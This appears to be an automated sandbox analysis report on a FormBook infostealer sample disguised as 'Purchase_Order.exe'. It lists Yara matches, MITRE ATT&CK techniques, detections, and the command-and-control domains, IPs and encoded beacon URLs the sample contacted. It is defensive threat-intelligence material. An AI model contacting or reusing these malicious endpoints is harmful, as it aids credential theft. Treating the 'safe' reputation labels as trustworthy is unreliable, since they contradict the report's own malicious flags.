Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Purchase_Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection712	Masquerading1	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection712	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Information Discovery112	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing2	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Purchase_Order.exe	21%	Virustotal		Browse
Purchase_Order.exe	15%	ReversingLabs	Win32.Trojan.Wacatac

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File
4.0.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
mexicobeachselfstorage.com	0%	Virustotal		Browse
td-balancer-euw2-6-109.wixdns.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://schemas.mi	0%	URL Reputation	safe
http://schemas.mi	0%	URL Reputation	safe
http://schemas.mi	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.carterandcone.comen	0%	URL Reputation	safe
http://www.carterandcone.comen	0%	URL Reputation	safe
http://www.carterandcone.comen	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.tylerrucarean.com/uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSOMWA==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.flockuplabs.com/uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.paolograssino.com/uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTqMJw==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.prltoday.com/uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.carterandcone.commd	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.mexicobeachselfstorage.com/uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMYQ==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.trainup-wall.com/uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vwA==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/N	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/jp/Q	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.cgjanvier.com/uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4IOSJg==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.culturalinterface.net/uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZKA==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.carterandcone.coma	0%	URL Reputation	safe
http://www.carterandcone.coma	0%	URL Reputation	safe
http://www.carterandcone.coma	0%	URL Reputation	safe
http://www.a-prime-india-demataccount.zone/uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZeUQ==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/X	0%	URL Reputation	safe
http://www.gorditasdemaiz.com/uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.toolbnbapp.com/uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J86x=b0DT	0%	Avira URL Cloud	safe
http://www.agfamonotype.	0%	URL Reputation	safe
http://www.agfamonotype.	0%	URL Reputation	safe
http://www.agfamonotype.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Q	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/N	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/N	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/N	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/oi	0%	Avira URL Cloud	safe
http://schemas.micr	0%	URL Reputation	safe
http://schemas.micr	0%	URL Reputation	safe
http://schemas.micr	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
http://en.w	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/=	0%	URL Reputation	safe
www.culturalinterface.net/uqf5/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mexicobeachselfstorage.com	162.241.253.69	true	true	0%, Virustotal, Browse	unknown
td-balancer-euw2-6-109.wixdns.net	35.246.6.109	true	true	0%, Virustotal, Browse	unknown
www.trainup-wall.com	45.140.167.161	true	true		unknown
www.a-prime-india-demataccount.zone	172.67.155.26	true	true		unknown
www.gorditasdemaiz.com	151.101.0.119	true	true		unknown
www.cgjanvier.com	156.241.53.127	true	true		unknown
paolograssino.com	160.16.235.37	true	true		unknown
www.stays.travel	91.195.240.94	true	false		unknown
toolbnbapp.com	34.102.136.180	true	false		unknown
www.prltoday.com	213.186.33.5	true	true		unknown
www.culturalinterface.net	104.21.64.212	true	true		unknown
tylerrucarean.com	34.102.136.180	true	false		unknown
flockuplabs.com	184.168.131.241	true	true		unknown
www.flockuplabs.com	unknown	unknown	true		unknown
www.paolograssino.com	unknown	unknown	true		unknown
www.toolbnbapp.com	unknown	unknown	true		unknown
www.homeanddesignstudio.com	unknown	unknown	true		unknown
www.mexicobeachselfstorage.com	unknown	unknown	true		unknown
www.tylerrucarean.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.tylerrucarean.com/uqf5/?7nBTylox=OWFfPnC7AN8R77spBBTPEjKTeS6t/Yq1T4r8C76EKqDZAgRBJ/M7pX2IcLDFGki/UVfODSOMWA==&x2J86x=b0DT	false	Avira URL Cloud: safe	unknown
http://www.flockuplabs.com/uqf5/?7nBTylox=kpO7L1Lkp8iY+ON3mW6Oq8CK0aWMRalGagQzJa0PwjziroypQJ68geE/Aoh82zgIKZtO8rNXLQ==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.paolograssino.com/uqf5/?7nBTylox=bDjqt1XeIDnHqlCDx4UVtMOGyZAgv2iIcL7KLwBfVGeKSjMBDNU7E4Z2+8mD2QoqovVkCTqMJw==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.prltoday.com/uqf5/?7nBTylox=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580T900Haqnq5nepxFw==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.mexicobeachselfstorage.com/uqf5/?7nBTylox=Da4K3sj86vB0DiXWDS0M3B9qaJwAtTAx24xw0Tll3v3x/H7Mq6Ed11VjNseOa8Aw4v8GgidMYQ==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.trainup-wall.com/uqf5/?7nBTylox=kfF6JYR62xx/HO09iSVcnhFTUCCMKaRIkXBWym1Qtkj7XLCdUz5OHH2iCIaFDs/mVibljY8vwA==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.cgjanvier.com/uqf5/?7nBTylox=G6aWL4dGCeTaDQvTN0iTmiC4rQ5Mm02kgONc9W0Ihpzmf26Z6y5bJWrOsZ7s6rQ8mSLn4IOSJg==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.culturalinterface.net/uqf5/?7nBTylox=0mO7J7bxUTMGF+cl/VKrKxzRBdjnePXE0BEJzt+odUfuolHzSnSh7sdQNpsCsCcZdtFb7j3ZKA==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.a-prime-india-demataccount.zone/uqf5/?7nBTylox=RQXRa0j10XdpS+WphiMG79Lf9dki4UzLVajXOJjWNMbn24QJDQJAUPqvADWkiraA7rP5UEZeUQ==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.gorditasdemaiz.com/uqf5/?7nBTylox=RIGbPleGLKfxQTAe4w4l83Ie2Cv1rNcMEGxhR3mrD7G7p1l+kx0Gi9Gk7nXoQ0ETWUCd/ihSFA==&x2J86x=b0DT	true	Avira URL Cloud: safe	unknown
http://www.toolbnbapp.com/uqf5/?7nBTylox=pmtBAvifUG/ctnoihxxVo+fAjsCiy+wOZZJ542i91rLFt0/MLgCG4nudrW9V9JXQ/3W4T2ttkA==&x2J86x=b0DT	false	Avira URL Cloud: safe	unknown
www.culturalinterface.net/uqf5/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersG	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://schemas.mi	explorer.exe, 00000007.00000000.291833894.000000000EBF8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.carterandcone.comen	Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.com	Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	Purchase_Order.exe, 00000000.00000002.259691374.0000000002B20000.00000004.00000001.sdmp	false		high
http://www.sajatypeworks.com	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.commd	Purchase_Order.exe, 00000000.00000003.242501601.00000000061CD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/cThe	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/N	Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/jp/Q	Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.sandoll.co.kr	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Purchase_Order.exe, 00000000.00000002.259634056.0000000002AD1000.00000004.00000001.sdmp	false		high
http://www.sakkal.com	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000007.00000000.282669456.0000000006840000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coma	Purchase_Order.exe, 00000000.00000003.242455042.00000000061CD000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	Purchase_Order.exe, 00000000.00000002.269184385.00000000061CE000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.galapagosdesign.com/	Purchase_Order.exe, 00000000.00000003.248726624.00000000061EE000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/X	Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.agfamonotype.	Purchase_Order.exe, 00000000.00000003.245364083.00000000061EE000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Q	Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/N	Purchase_Order.exe, 00000000.00000003.243172768.00000000061CA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/oi	Purchase_Order.exe, 00000000.00000003.243047372.00000000061C3000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micr	explorer.exe, 00000007.00000000.291833894.000000000EBF8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/	Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://en.w	Purchase_Order.exe, 00000000.00000003.241548215.00000000061F2000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/=	Purchase_Order.exe, 00000000.00000003.243525864.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.carterandcone.coml	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/u	Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sakkal.com-u	Purchase_Order.exe, 00000000.00000003.243758051.00000000061F1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.monotype.	Purchase_Order.exe, 00000000.00000003.250232182.00000000061ED000.00000004.00000001.sdmp, Purchase_Order.exe, 00000000.00000003.245076408.00000000061EE000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp, Purchase_Order.exe, 00000000.00000003.243172768.00000000061CA000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Purchase_Order.exe, 00000000.00000002.270075465.00000000073D2000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.289352994.000000000BE70000.00000002.00000001.sdmp	false		high
http://www.jiyu-kobo.co.jp/b	Purchase_Order.exe, 00000000.00000003.243319388.00000000061C8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/	Purchase_Order.exe, 00000000.00000003.245036335.00000000061EE000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
